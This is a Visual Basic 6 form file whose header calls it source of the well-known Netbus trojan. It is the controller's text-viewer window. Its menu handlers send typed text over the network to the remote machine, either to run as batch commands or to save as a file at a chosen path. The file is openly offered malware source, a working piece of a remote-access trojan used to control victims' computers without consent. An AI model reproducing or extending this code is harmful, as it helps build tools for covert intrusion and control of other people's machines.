clienttext.frm

大名鼎鼎的Netbus木马源程序.

VERSION 5.00
Begin VB.Form TextView 
   Caption         =   "Text Viewer"
   ClientHeight    =   4320
   ClientLeft      =   165
   ClientTop       =   480
   ClientWidth     =   5895
   LinkTopic       =   "Form2"
   MaxButton       =   0   'False
   ScaleHeight     =   4320
   ScaleWidth      =   5895
   Begin VB.TextBox Text1 
      Height          =   4335
      Left            =   0
      MultiLine       =   -1  'True
      ScrollBars      =   3  'Both
      TabIndex        =   0
      Top             =   0
      Width           =   5895
   End
   Begin VB.Menu mnuOPT 
      Caption         =   "&Options"
      Begin VB.Menu mnuSF 
         Caption         =   "&Save Changes to File"
         Shortcut        =   ^S
      End
      Begin VB.Menu mnuRABF 
         Caption         =   "&Run Batch Commands"
         Shortcut        =   ^R
      End
      Begin VB.Menu mnuvar 
         Caption         =   "-"
      End
      Begin VB.Menu mnuCV 
         Caption         =   "&Close Viewer"
         Shortcut        =   ^X
      End
   End
End
Attribute VB_Name = "TextView"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False


Private Sub Form_Resize()
On Error Resume Next
Text1.Left = 0
Text1.Top = 0
Text1.Width = TextView.Width - 120
Text1.Height = TextView.Height - 435
End Sub

Private Sub mnuRABF_Click()
WSsnd Str(Batch) & Text1.text & Chr(13) & Chr(10)
End Sub

Private Sub mnuSF_Click()
Dim DR
DR = TextView.Caption
DR = InputBox("Enter filename to save to", "Save Text", DR)
If TextView.Caption <> "Batch Commands" Then
    WSsnd Str(SaveTF) & DR & "*" & Text1.text
Else
    WSsnd Str(SaveTF) & DR & "*" & Text1.text
End If
End Sub